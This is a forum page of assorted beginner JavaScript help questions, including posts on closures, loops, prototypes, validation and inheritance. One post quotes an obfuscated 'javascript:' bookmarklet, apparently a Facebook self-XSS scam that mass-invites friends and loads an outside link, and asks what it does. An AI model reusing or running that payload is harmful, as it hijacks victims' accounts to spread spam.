JavaScript - Help With Understanding Closures
I get programming. Really, I do.
But this closure thing has me lost and needing a nice, simple explanation. Here's the code from the dojo tutorial: <script type="text/javascript"> dojo.require("dijit.form.Button"); // this is just to make the demo look nicer var arrFruit = ["apples", "kiwis", "pineapples"]; function populateData() { dojo.forEach(arrFruit, function(item, i) { var li = dojo.doc.createElement("li"); li.innerHTML = i + 1 + ". " + item; dojo.byId("forEach-items").appendChild(li); }); } </script> It is the anonymous function(item, i) that is perplexing me. As I see it, this use is not CREATING a function. It is calling a function called "function." Clearly, I am not up-to-speed. I am confounded as to how, within function(), "item" is KNOWN to refer to the value of the array element, and "i" is KNOWN to refer to the current element in the dojo.forEach() function. In my mind, I see a call to function, trying to pass parameters to it which were never defined above. The way I see it is: function myfunction(item, i) {code here} myfunction(this, that); In this example, I would get an error because "this" and "that" are not defined. Help, please!!! Similar TutorialsI tried a a few tutorials but still can't get it, can any simply closures please?
Recently I had an issue while trying to copy an array: I couldn't understand why modifying the new array caused modifications in the old array Old Pedant cleared that up nicely for me in http://www.codingforums.com/showthread.php?t=240020 Now I'm trying to understand closures, and scope and all that fun stuff thanks to Venegal's great tutorial at reallifejs.com and I have the following: Code: <script> window.USER = (function(){ var Employees = [['Alex',1,'ft',1],['Olivia',2,'ft',1],['Brenda',3,'ft',1],['Michael',4,'ft',1]]; var info = ['Start String']; var Setup = function(){ } return{ CheckLogin : function(login){ this.info = Employees[login]; }, Reset : function(){ }, info:info, Emp:Employees }; })(); </script> And I think I got all the kinks worked out, but there was one thing that I don't understand... Based on my other thread I expected the modification of USER.info to overwrite values in USER.Emp Don't get me wrong, I didn't want that to happen, I am just confused as to why it didn't I used the following buttons to test the values of USER.info and USER.Emp but again, writing to USER.info did not overwrite anything in USER.Emp.... Code: <script> document.write('<button onclick="alert(USER.info)">USER.info read</button>'); document.write('<button onclick="USER.info=\'Test String\'">USER.info write</button>'); document.write('<button onclick="alert(USER.Emp)">Employees read</button>'); document.write('<button onclick="USER.CheckLogin(0)">Check Login</button>'); </script> So what I guess I'm asking is why? Or maybe: what is happening here, and how does it differ from my last issue? Was it maybe a scope issue? Or maybe something more sinister...? Hello everyone, I have been working on this function but no luck so far. Basically this is a simple vertical navigation menu, and I am just trying to to show or hide the sub-menus (unordered lists) with onmouseover & onmouseout. I can do this very easily with just css or inline events, but I'm just trying to figure it out the way I already set it up. So I am looping through the ULs first, then I loop through the LIs. Furthermore I find the right LI elements by checking their class names, and if they exist I trigger the onmouseover & onmouseout events on them so the ULs will appear/disappear. The issue is that this works only for the last list item because I am guessing of a closure. So instead of getting each item individually at each event, instead it gives me the last list item. I have searched the web for a while now about closures and such, but all the examples I find talk about nested functions and a single loop, which isn't my case because I have two loops and only one function. Any help would be appreciated. HTML Code: Code: <div id="navWrapper"> <ul> <li class="triggers"><a href="#">Item 1</a> <ul class="subMenu"> <li><a href="#">Item 1.1</a></li> <li><a href="#">Item 1.2</a></li> <li><a href="#">Item 1.3</a></li> </ul> </li> <li class="triggers"><a href="#">Item 2</a> <ul class="subMenu"> <li><a href="#">Item 2.1</a></li> <li><a href="#">Item 2.2</a></li> <li><a href="#">Item 2.3</a></li> </ul> </li> <li class="triggers"><a href="#">Item 3</a> <ul class="subMenu"> <li><a href="#">Item 3.1</a></li> <li><a href="#">Item 3.2</a></li> <li><a href="#">Item 3.3</a></li> </ul> </li> </ul> </div> Javascript Code: Code: <script type="text/javascript"> function hoverSh () { var navWrap = document.getElementById('navWrapper'); var uls = navWrap.getElementsByTagName('ul'); var listItems = navWrap.getElementsByTagName('li'); for (var i=0; i<uls.length; i++) { if (uls[i].className == "subMenu") { var theUls = uls[i]; for (var j=0, c=listItems.length; j<c; j++) { if (listItems[j].className == "triggers") { var theItems = listItems[j]; theItems.onmouseover = function () {//alert(this.nodeName + i);return false; theUls.style.display = 'block'; } theItems.onmouseout = function () { theUls.style.display = 'none'; } }//end inner if }//end inner loop w/ j }//end if }//end outer loop w/ i } window.onload = hoverSh; </script> Any links pointing to simplified tutorials on closures would be helpful too. I thought I understood them but I guess not! Hey all, I am having issues with below script. Firebug returns: form[0] is undefined [Break on this error] $(form[0].elements).each(function() { I have this under my form: <script> var thisForm = $('#validateForm'); thisForm.validation(); </script> Code: (function($) { /* Validation Singleton */ var Validation = function() { var rules = { email : { check: function(value) { if(value) return testPattern(value,".+@.+\..+"); return true; }, msg : "Enter a valid e-mail address." }, url : { check : function(value) { if(value) return testPattern(value,"https?://(.+\.)+.{2,4}(/.*)?"); return true; }, msg : "Enter a valid URL." }, required : { check: function(value) { if(value) return true; else return false; }, msg : "This field is required." } } var testPattern = function(value, pattern) { var regExp = new RegExp("^"+pattern+"$",""); return regExp.test(value); } return { addRule : function(name, rule) { rules[name] = rule; }, getRule : function(name) { return rules[name]; } } } /* Form factory */ var Form = function(form) { var fields = []; $(form[0].elements).each(function() { var field = $(this); if(field.attr('validation') !== undefined) { fields.push(new Field(field)); } }); this.fields = fields; } Form.prototype = { validate : function() { for(field in this.fields) { this.fields[field].validate(); } }, isValid : function() { for(field in this.fields) { if(!this.fields[field].valid) { this.fields[field].field.focus(); return false; } } return true; } } /* Field factory */ var Field = function(field) { this.field = field; this.valid = false; this.attach("change"); } Field.prototype = { attach : function(event) { var obj = this; if(event == "change") { obj.field.bind("change",function() { return obj.validate(); }); } if(event == "keyup") { obj.field.bind("keyup",function(e) { return obj.validate(); }); } }, validate : function() { var obj = this, field = obj.field, errorClass = "errorlist", errorlist = $(document.createElement("ul")).addClass(errorClass), types = field.attr("validation").split(" "), container = field.parent(), errors = []; field.next(".errorlist").remove(); for (var type in types) { var rule = $.Validation.getRule(types[type]); if(!rule.check(field.val())) { container.addClass("error"); errors.push(rule.msg); } } if(errors.length) { obj.field.unbind("keyup") obj.attach("keyup"); field.after(errorlist.empty()); for(error in errors) { errorlist.append("<li>"+ errors[error] +"</li>"); } obj.valid = false; } else { errorlist.remove(); container.removeClass("error"); obj.valid = true; } } } /* Validation extends jQuery prototype */ $.extend($.fn, { validation : function() { var validator = new Form($(this)); $.data($(this)[0], 'validator', validator); $(this).bind("submit", function(e) { validator.validate(); if(!validator.isValid()) { e.preventDefault(); } }); }, validate : function() { var validator = $.data($(this)[0], 'validator'); validator.validate(); return validator.isValid(); } }); $.Validation = new Validation(); })(jQuery); Hey all, I am confused about the true difference between the two below examples. Code: first example: // Demonstrating a problem with closures and loops var myArray = [“Apple”, “Car”, “Tree”, “Castle”]; var closureArray = new Array(); // Loop through myArray and create a closure for each that outputs that item for (var i = 0; i < myArray.length; i++) { var theItem = myArray[i]; closureArray[i] = function() { document.write(theItem + “ < br / > ”); } } // Loop through the closures and execute each one. for (var i = 0; i < closureArray.length; i++) { closureArray[i](); } Here we iterate through the length of myArray, assigning the current index of myArray to theItem variable. We declare closureArray 4 times as an anonymous function. The anonymous function in turn declares the predefined write() function, which is passed parameters. Since write() is in closureArray() a closure is created??? During each iteration, theItem is reassigned its value. The four closures reference this value. Since they reference this same value and since this value is reassigned ultimately to the value of the fourth index position, tHe time we execute closureArray later on, all four closures output the same string. This is because all four closures are within the same scope "the same environment" and therefore are referencing the same local variable, which has changed. I have a couple of problems with this example: 1) I thought a closure is a function that is returned - the inner function is not returned above. 2) theItem is not even a local variable of the parent function (closureArray) - I thought in order for a closure to work, the inner function only accesses the local variables of the outer function, but in this case the local variable is defined OUTSIDE of the parent function. 3) The guy says the "the four closures are sharing the same environment." The thing is even in the second example, they are sharing the same environment. Second example: Code: // A correct use of closures within loops var myArray = [“Apple”, “Car”, “Tree”, “Castle”]; var closureArray = new Array(); function writeItem(word) { return function() { document.write(word + “ < br / > ”); } } // Loop through myArray and create a closure for each that outputs that item for (var i = 0; i < myArray.length; i++) { var theItem = myArray[i]; closureArray[i] = writeItem(theItem); } // Loop through the closures and execute each one. for (var i = 0; i < closureArray.length; i++) { closureArray[i](); } Here we iterate over the length of myArray (4 times), assigning the index of myArray to theItem variable. We also return a function reference to the closureArray during each iteration (closureArray[i]), where i is index number so we assign 4 functon references. So when we iterate through myArray, we immediatelly call the writeItem() fucntion passing an argument of theItem at its current value. This returns a child anonymous function and when that child function is called, it will execute a block that calls the predefined write() method. We assign that returned anonymous function to the variable closureArray. Hence, closureArray holds a reference to that anonymous function. So closureArray during each iteration holds a reference to the anonymous function and we later call closureArray, which in turn calls the anonymous function, therefore calling the predefined write() function to output the local variable of the parent function. This outputs each distinct index of myArray. QUESTION: This is because since we created the closure, when we call writeItem, passing theItem argument, since theItem is a local variable of the parent function of the closure, it is never destroyed when we later call closureArray (the reference to the child anonymous function)? Yet weren't we using a closure in the first example as well? So whey wasn't those variables preserved? I don't think it has anything to do with assigning a returned anonymous function to closureArray. Even though an anonymous function creates a new memory position in the javascript engine, therefore not overwriting the other function references we create during the iteration, it's still referring to a local variable declared outside the reference. So if it's about the closure retaining value of parent's local variable even after exiting the parent function allowing for the current indexes to be preserved, then why did the closure in the first example fail to retain each index? Thanks for response I put this function in firebug and it returns the value 24. I just need help of someone explaning me as simple but descriptive as possible how the code works. Code: function factorial(n) { var product= 1; while(n > 1) {product *= n; n--; } return product; } factorial(4) i was just reading a book and these were just one of the examples of functions which I was trying to understand better. Hi We are currently re-working a client's website and as I am not a javascript programmer I am having trouble understanding some of the code, and need help understanding why a certain variable in the code remains undefined. The javascript function is called from the web page in this fashion: Code: <select name="cboL1_3" onchange="CheckLine(this);"> <option value=""></option> <option value="l">L</option> <option value="m">M</option> </select> and the function CheckLine is defined thus: Code: function CheckLine(el) { var Mok = false, Lok = false, val, currEl; var LineNo = el.name; LineNo = LineNo.substring(4,(LineNo.length - 2)); val = el.options[el.selectedIndex].value; alert(el); alert(val); if (val == 'm') { Mok = true; } if (val == 'l') { Lok = true; } for (var i = 1; i<=4; i++) { currEl = document.frmDisc.elements['cboL' + LineNo + '_' + i]; if (currEl.name != el.name) { if (currEl.options[currEl.selectedIndex].value == 'm') { if (Mok) { currEl.selectedIndex = 0; //resets selection to blank if >1 M } Mok = true; } if (currEl.options[currEl.selectedIndex].value == 'l') { if (Lok) { currEl.selectedIndex = 0;//resets selection to blank if >1 L } Lok = true; } } } } What is happening is that the user is filling in 24 lines of 4 select boxes, in which there must be 1 and only one "m" and 1 and only 1 "l". The code changes the value of the box back to blank if the user has tried to enter >1 of either. The code then should check the line number and count the number of lines, but on debugging I see that the value of variables el and LineNo are undefined. I can't understand why when the function is called, the value "this" is used. i.e CheckLine(this) - this appears to have no value in the html code as far as I can see! Perhaps someone could shed some light on this for me, as I really need to get it working TODAY!! I also enclose a link to the webpage in question: www.kellyresources.co.uk/disc/disc.asp MAny thanks in anticipation of your help. Teresa This script from http://www.javascriptkit.com/script/cut76.shtml is obviously not secure since the username and password are stored in the script, as well as the redirect url. I have no intentions of using it, but am curious if someone can explain how the alerts work the way they do. So, how is the 1st else " else {alert("Invalid Password")} " associated with the second IF statement, not the first IF statement? Example, The 1st else sends an alert invalid password. When the 1st IF was to check the user name. Why is this? Shouldn't the 1st alert be if the user name was invalid and the second else be for the password? This post is my first, and is really just because I need to understand Javascript better and this makes no sense to me. Code: <script language="javascript"> function pasuser(form) { if (form.id.value=="JavaScript") { if (form.pass.value=="Kit") { location="page2.html" } else { alert("Invalid Password") } } else { alert("Invalid UserID") } } </script> Anyone wanna give me some pointers on how prototypes work exactly? ;o Especially in the context of this code: Code: var chatscroll = new Object(); chatscroll.Pane = function(scrollContainerId){ this.bottomThreshold = 20; this.scrollContainerId = scrollContainerId; this._lastScrollPosition = 100000000; } chatscroll.Pane.prototype.activeScroll = function(){ var _ref = this; var scrollDiv = document.getElementById(this.scrollContainerId); var currentHeight = 0; var _getElementHeight = function(){ var intHt = 0; if(scrollDiv.style.pixelHeight)intHt = scrollDiv.style.pixelHeight; else intHt = scrollDiv.offsetHeight; return parseInt(intHt); } var _hasUserScrolled = function(){ if(_ref._lastScrollPosition == scrollDiv.scrollTop || _ref._lastScrollPosition == null){ return false; } return true; } var _scrollIfInZone = function(){ if( !_hasUserScrolled || (currentHeight - scrollDiv.scrollTop - _getElementHeight() <= _ref.bottomThreshold)){ scrollDiv.scrollTop = currentHeight; _ref._isUserActive = false; } } if (scrollDiv.scrollHeight > 0)currentHeight = scrollDiv.scrollHeight; else if(scrollDiv.offsetHeight > 0)currentHeight = scrollDiv.offsetHeight; _scrollIfInZone(); _ref = null; scrollDiv = null; } It's code to make the scrollbars autoscroll down. Full article and extra info he http://radio.javaranch.com/pascarell...837038219.html I sort of understand it but I'm not clear on what prototypes are. What does this mean? Code: javascript:eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('G g=["\\b\\h\\h\\d\\m\\Z\\15\\H\\16","\\e\\a\\I\\q\\n\\i\\h\\e\\d\\h\\e","\\j\\d\\e\\z\\k\\d\\w\\d\\h\\e\\17\\J\\18\\s","\\D\\a\\p\\b\\s\\t\\l\\f\\A\\j\\j\\d\\f\\e\\l\\p\\u\\m\\d\\y\\t\\l\\19\\l\\p\\a\\K\\a\\B\\b\\y\\J\\t\\l\\r\\a\\K\\a\\B\\r\\f\\i\\n\\b\\a\\k\\q\\j\\m\\a\\o\\u\\r\\b\\h\\v\\b\\e\\d\\q\\s\\b\\a\\k\\i\\j\\L\\o\\u\\o\\1a\\n\\k\\a\\f\\f\\t\\O\\a\\h\\H\\a\\h\\a\\j\\d\\m\\1b\\a\\w\\o\\1c\\h\\i\\s\\d\\q\\b\\s\\t\\P\\Q\\x\\P\\R\\Q\\S\\1d\\S\\x\\x\\M\\1e\\M\\R\\l\\p\\n\\k\\a\\f\\f\\t\\l\\p\\o\\m\\i\\y\\b\\k\\d\\q\\a\\n\\e\\b\\i\\h\\p\\a\\n\\e\\b\\i\\h\\f\\o\\m\\i\\q\\a\\l\\p\\m\\d\\k\\t\\l\\s\\b\\a\\k\\i\\j\\1f\\o\\i\\f\\e\\l\\E\\1g\\A\\j\\j\\d\\f\\e\\p\\e\\i\\p\\O\\m\\b\\d\\h\\s\\f\\D\\r\\a\\E","\\f\\A\\j\\j\\d\\f\\e","\\H\\i\\A\\f\\d\\z\\v\\d\\h\\e\\f","\\n\\m\\d\\a\\e\\d\\z\\v\\d\\h\\e","\\n\\k\\b\\n\\1h","\\b\\h\\b\\e\\z\\v\\d\\h\\e","\\s\\b\\f\\o\\a\\e\\n\\u\\z\\v\\d\\h\\e","\\f\\d\\k\\d\\n\\e\\q\\a\\k\\k","\\f\\j\\w\\q\\b\\h\\v\\b\\e\\d\\q\\y\\i\\m\\w","\\r\\a\\K\\a\\B\\r\\f\\i\\n\\b\\a\\k\\q\\j\\m\\a\\o\\u\\r\\b\\h\\v\\b\\e\\d\\q\\s\\b\\a\\k\\i\\j\\L\\o\\u\\o","\\f\\A\\I\\w\\b\\e\\T\\b\\a\\k\\i\\j","\\D\\b\\y\\m\\a\\w\\d\\p\\f\\m\\n\\t\\l\\u\\e\\e\\o\\1i\\r\\r\\I\\b\\e\\L\\k\\J\\r\\n\\T\\v\\U\\h\\U\\l\\p\\1j\\b\\s\\e\\u\\t\\l\\1k\\x\\x\\o\\B\\l\\p\\u\\d\\b\\j\\u\\e\\t\\l\\M\\x\\x\\o\\B\\l\\E\\D\\r\\b\\y\\m\\a\\w\\d\\E"];C(F[g[2]](g[1])[g[0]]=g[3]);G V=F[g[2]](g[4]);G c=F[g[6]](g[5]);c[g[8]](g[7],W,W);C V[g[9]](c);C N(X(){1l[g[10]]()},1m);C N(X(){1n[g[13]](g[11],g[12])},Y);C N(F[g[2]](g[1])[g[0]]=g[14],Y);',62,86,'||||||||||x61|x69||x65|x74|x73|_0x22d5|x6E|x6F|x67|x6C|x22|x72|x63|x70|x20|x5F|x2F|x64|x3D|x68|x76|x6D|x30|x66|x45|x75|x78|void|x3C|x3E|document|var|x4D|x62|x79|x6A|x2E|x36|setTimeout|x46|x31|x32|x35|x38|x44|x41|ss|true|function|5000|x48||||||x54|x4C|x42|x49|x23|x3F|x26|x3B|x37|x34|x2D|x53|x6B|x3A|x77|x39|fs|4000|SocialGraphManager'.split('|'),0,{})) like all the " f\\m\\n " etc? I have no idea. Hello, I have an Object, containing an object, containing an object....etc. So, it's an Object of objects. Not an Array of objects. And now I want to sort this Object of objects. Is there a "native" way in JavaScript to sort an object? Or do I understand it correctly, that I first have to convert the Object to an Array, and than perform an array.sort ? This question is just for my understanding of JavaScript, so I don't go into the wrong direction. Tnx in advance for any explanation. Code: //toggle function to open and close popup runs off an if else statement detecting style.display property function toggle(popUpDiv) { var el = document.getElementById(popUpDiv); //if function to determine if style.display equals none and if so then block to make visible if ( el.style.display == 'none' ) { el.style.display = 'block';} else {el.style.display = 'none';} //while function to declare that as long as style.display equals block then set timer to make //invisible after 10 seconds of becoming visible While (el.style.display == 'block') { setTimeout ("toggle('popUpDiv')", 10000 ); } //end while loop return false; //end if statement } My while statement reads that while style.display = block then to run a timer to close the popup by running toggle again after 10 seconds. This way if the user closes the window before the ten seconds is counted, then the toggle function won't run. However I am getting an error stating that there is no before statement. I'm confused on that. Sorry just really a beginner with javascript and searched through W3schools.com and couldn't find an answer. have it on a geocities test site at css popup test I need to understand this code but i am not able to fully understand it to use it for myself. Anybody can you help please function getScore(form) { var score = 0; var currElt; var currSelection; for (i=0; i<numQues; i++) { currElt = i*numChoi; for (j=0; j<numChoi; j++) { currSelection = form.elements[currElt + j]; if (currSelection.checked) { if (currSelection.value == answers[i]) { score++; break; } } } } score = Math.round(score/numQues*100); // math.round function will return the whole number to the nearest specified value for example 1.9 will show as 2 form.percentage.value = score + "%"; // The score will be displayed in percentage var correctAnswers = ""; for (i=1; i<=numQues; i++) { correctAnswers += i + ". " + answers[i-1] + "\r\n"; } form.solutions.value = correctAnswers; } Any short explanation will be a great help. I would like to know if anyone cane explain some javascript source code that i got from the chess.com website. Here is the following code Im talking about: window.Meebo||function(c){function p(){return["<",i,' onload="var d=',g,";d.getElementsByTagName('head')[0].", j,"(d.",h,"('script')).",k,"='//cim.meebo.com/cim?iv=",a.v,"&",q,"=",c[q],c[l]? "&"+l+"="+c[l]:"",c[e]?"&"+e+"="+c[e]:"","'\"></",i,">"].join("")}var f=window, a=f.Meebo=f.Meebo||function(){(a._=a._||[]).push(arguments)},d=document,i="body", m=d[i],r;if(!m){r=arguments.callee;return setTimeout(function(){r(c)},100)}a.$= {0:+new Date};a.T=function(u){a.$[u]=new Date-a.$[0]};a.v=4;var j="appendChild", h="createElement",k="src",l="lang",q="network",e="domain",n=d[h]("div"),v=n[j](d[h]("m")), b=d[h]("iframe"),g="document",o,s=function(){a.T("load");a("load")};f.addEventListener? f.addEventListener("load",s,false):f.attachEvent("onload",s);n.style.display="none"; m.insertBefore(n,m.firstChild).id="meebo";b.frameBorder="0";b.id="meebo-iframe"; b.allowTransparency="true";v[j](b);try{b.contentWindow[g].open()}catch(w){c[e]= d[e];o="javascript:var d="+g+".open();d.domain='"+d.domain+"';";b[k]=o+"void(0);"}try{var t= b.contentWindow[g];t.write(p());t.close()}catch(x){b[k]=o+'d.write("'+p().replace(/"/g, '\\"')+'");d.close();'}a.T(1)}({network:"chess"}); </script> Hi, I'm trying to do an assignment, and have copied a piece of code to learn while I do, if you see what I mean. Problem is, I'm having real trouble with one of the lines of code. If someone could tell me basically what it does, I'd be very greatful! Here's the code: if (height[i] == -(array[i].height)) The - before (array[i].height) is really confusing me! Thanks in advance! 1. When creating a new element using the create method, do the zIndex values of all elements that follow it change? If so how do I get the zIndex of all divs with a specific classname within a specified container? I'm working with dynamic drive's 'dhtmlwindow' object class file and have made revisions to it...however this is my first time working with this type of file and while some things are easy to change the zIndex change of the setfocus function does not look like any of my previous scripts. This is a question about a code for a javascript slide show which i think is very important to understand because slide shows are heavily used! This is the html: Quote: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <script language="javascript" script type="text/javascript" src="slideshow.js"></script> <title>Slideshow exercise</title> </head> <body> <h1> Slideshow exercicse</h1> <img class="slide" src="cityscape.jpg" width="400" height="300"> <img class="slide" src="Creative_design_sailing_leaves_under_blue_sky.jpg" width="400" height="300"> <img class="slide" src="Curiousity.jpg" width="400" height="300"> <img class="slide" src="raindrops-blue-garden-seamless-tile.jpg" width="400" height="300"> <p> Clic on image to view next slide</p> <p> Clic on image to view next slide</p> </body> </html> This is the .js file and my questions: Quote: var numslides=0;currentslide=0; var slides= new Array(); function MakeSlideShow(){ //find all images with the class "slide" imgs= document.getElementsByTagName("img");---------> question 1 for (i=0; i<imgs.length ; i++) { if(imgs[i].className != "slide") continue; slides[numslides]=imgs[i];----------------------------------->question2 //hide all but first image if(numslides==0) {imgs[i].style.display="block";} else{imgs[i].style.display="none";} imgs[i].onclick=NextSlide; numslides++;}//end of loop--------------------------->question3 } //end MakeSlideShow() function NextSlide(){ slides[currentslide].style.display="none";------------------>question4 currentslide++ if(currentslide >= numslides) currentslide=0; slides[currentslide].style.display="block";--------------->question5 } window.onload= MakeSlideShow; question1: does "imgs" automatically become an array here? If so, how can i print out its lenght? This is what i tried and it doesn't work-> var lengthimgs= imgs.length document.write(lengthimgs) question2: What is happening here? Is the imgs[i] array transferring its data into the slides[numslides] array? question3: If slides[numslides] and imgs[i] are interchangeable why can't this line be i++ instead of numslides++ question4: What is happenning to the slides array here? Is currentslide becoming a copy of numslides? question5: What does this do? Where does this line sent the code? Why this? Why hasn't "imgs[i].style.display="block";" already done the job for the display? Thanks Hey all, I'm trying to fully understand javascript and have a couple of questions I was hoping you could answer for me. I'm working through a book and in the book I'm creating a Bingo card that generates a random number. I'm pasting the full script below just in case it's needed. Code: function initAll () { for(var i=0; i<24; i++) { setSquare(i); } } function setSquare(thisSquare) { var currSquare= "square" + thisSquare; var colPlace= new Array (0,0,0,0,0,1,1,1,1,1,2,2,2,2,3,3,3,3,3,4,4,4,4,4); var colBasis=colPlace[thisSquare] *15; var newNum=colBasis +getNewNum()+1; document.getElementById(currSquare).innerHTML=newNum; } function getNewNum() { return Math.floor(Math.random() *15); } //--> </script> 1. What does the [thisSquare] mean in this line of code that is bolded? I mean, I know thisSquare is whatever i is, but am I multiplying it by colPlace or what? 2. Lastly I'm confused by this part of the above code Code: var newNum=colBasis +getNewNum()+1; Why add the +1? I mean, i think getNewNum is set to pull a random number between 1 and 14. If you want to pull a number between 1 and 15, why not multiple Math.random() *16 instead of 15. Am i missing something? Sorry, I'm just not understanding why use the +1 I still can't understand very well when to use and when NOT to use parenthesis when calling/using methods and functions. Case 1: Where I commented "// No parenthesis.", could someone explain why not. And at the end, where the commen reads "// Parenthesis. ? Code: /* This function will be used as a method inside the objects. */ function getPayment() { thePayment = 250; thePayment += (this.seats == 'leather') ? 100 : 50; thePayment += (this.engine == 'V-8') ? 150 : 75; thePayment += (this.radio == 'CD Player') ? 30 : 10; return thePayment; } /* Object Constructor (prototype of the object). */ function car(seats, engine, radio) { this.seats = seats; this.engine = engine; this.radio = radio; this.payments = getPayment; // No parenthesis. } /* Creates an instance called 'my_car' out of the 'car' object. */ var my_car = new car('cloth', 'V-6', 'Tape Deck'); /* Object Initializer - automatically instantiates the object. */ var carObj = { seats: 'leather', engine: 'V-8', radio: 'CD Player', payments: getPayment // No parenthesis. No comma after last item. } // Firebug... console.log(my_car.payments()); // Parenthesis. console.log(carObj.payments()); // Parenthesis. /* vim:set foldmethod=indent: */ Case 2: Please look at the comments. Code: window.onload = initAll; // Why no () here? function initAll() { window.doStuff(); // Why () here? } function doStuff() { var msg_text = 'I love you so much!'; var msg_link = window.document.getElementById('msg_link'); console.log(msg_link); var msg_box = window.document.getElementById('msg_box'); msg_link.onmouseover = function() { //msg_box.value = msg_text; msg_box.setAttribute('value', 'May the force be with you!'); }; msg_link.onmouseout = function() { /* This works in ie. */ //msg_box.value = ''; /* Doesn't work in ie7 (and probably not in ie6 either). * Perhaps the code above is reasonable. */ msg_box.removeAttribute('value'); } } /* vim:set foldmethod=indent: */ I posted this once, but it disappeared, and I have no notifications that I did anything wrong. I read the rules before posting and wasn't breaking any so I am not sure why it disappeared but here goes again. I am trying to learn Javascript (particularly OOP) from a series of screencasts by Douglas Crockford. I have developed a theoretical "game" to build to illustrate it to myself better, and learn by example. I must be misunderstanding how inheritance works, because my code is not producing the results I thought it would. Here is what I have, followed by an explanation of my understanding. Code: $(function() { function object(o) { function Funct() {} Funct.prototype = o; return new Funct(); } soldier = { pointsCost: 0, movement: "1 Infantry Block", validTargets: {}, weapons: { "Main Weapon": { "Weapon Type": "M4 Carbine", "Fire Range": 12 }, "Secondary Weapon": { "Weapon Type": "JCP .45", "Fire Range": 3 } } }; var rifleman = object(soldier); rifleman.pointsCost += 10; rifleman.validTargets.target1 = "Infantry" rifleman.weapons["Secondary Weapon"]["Weapon Type"] = ""; rifleman.weapons["Secondary Weapon"]["Fire Range"] = ""; var heavyGunner = object(soldier); heavyGunner.pointsCost += 20; heavyGunner.validTargets.target1 = "Infantry"; heavyGunner.validTargets.target2 = "Light Armor"; heavyGunner.weapons["Main Weapon"]["Weapon Type"] = "SAW M249"; heavyGunner.weapons["Main Weapon"]["Fire Range"] = 12; heavyGunner.weapons["Secondary Weapon"]["Weapon Type"] = ""; heavyGunner.weapons["Secondary Weapon"]["Fire Range"] = ""; var sniper = object(soldier); sniper.pointsCost += 30; sniper.validTargets.target1 = "Infantry"; sniper.weapons["Main Weapon"]["Weapon Type"] = "Savage .308"; sniper.weapons["Main Weapon"]["Fire Range"] = 20; sniper.weapons["Secondary Weapon"]["Weapon Type"] = "JCP .45"; sniper.weapons["Secondary Weapon"]["Fire Range"] = 3; var demolitions = object(soldier); demolitions.pointsCost += 30; demolitions.validTargets.target1 = "Infantry"; demolitions.validTargets.target2 = "Light Armor"; demolitions.validTargets.target3 = "Artilery"; demolitions.validTargets.target4 = "Structures"; demolitions.weapons["Main Weapon"]["Weapon Type"] = "SMAW MK153"; demolitions.weapons["Main Weapon"]["Fire Range"] = 16; demolitions.weapons["Secondary Weapon"]["Weapon Type"] = "M1014 Combat Shotgun"; demolitions.weapons["Secondary Weapon"]["Fire Range"] = 1; var infantry = { rifleman: rifleman, heavyGunner: heavyGunner, sniper: sniper, demolitions: demolitions }; console.log(infantry); }); I start by creating an object function that accepts an object passed in, and sets it to the prototype of a constructor (that would allow me to create a new object linked to, and inheriting from, the initial passed in object) I initialized a solider object literal, and pass that into the object function while creating 4 new objects (rifleman, heavyGunner, sniper, demolitions) These four should inherit from and customize upon the soldier object. The way I understood inheritance is that the new objects (example. rifleman) would inherit properties from the old object (i.e. soldier) and change or add properties, affecting only the new (rifleman) object but not changing the old(solider) object. this works ok somewhat in my example, until it comes to nested objects. In the above example I have objects as values for some Object's properties. (i.e. validTargets and weapons) When I change or add these, all of the new objects seem to inherit the last declarations, from demolitions, as if demolitions is actually changing that part of the soldier object so that the other's inherit those properties. From my viewpoint, I expected these values to not be changed and that the 4 infantry types had no link to each other, but only to the soldier object. I apparently misunderstood something, or coded something wrong. Some minor notes: -I will be updating most of the "string" values to be objects, so for instance, the validTargets value of "Infantry" would actually be the infantry object, stating that any of the 4 solider types would be a valid target. - I intend to create weapons as their own viable objects in the future, and pass those objects instead of "strings" - I intend to extend this (once this is working) to create an armor object that contains armor type units, similar in structure to the infantry object. - If I can get this all to work, I may make this into a "simple" dice style battle game. but that is way off, I just want to get this nesting of objects to work with inheritance for now. Thanks in advance for any help you can provide. Here is a link to the "live" example. (not much different there except if you have firebug you can see the console.log method showing the objects, and how they are inheriting in properly from my POV.) Link to Live example... Blue |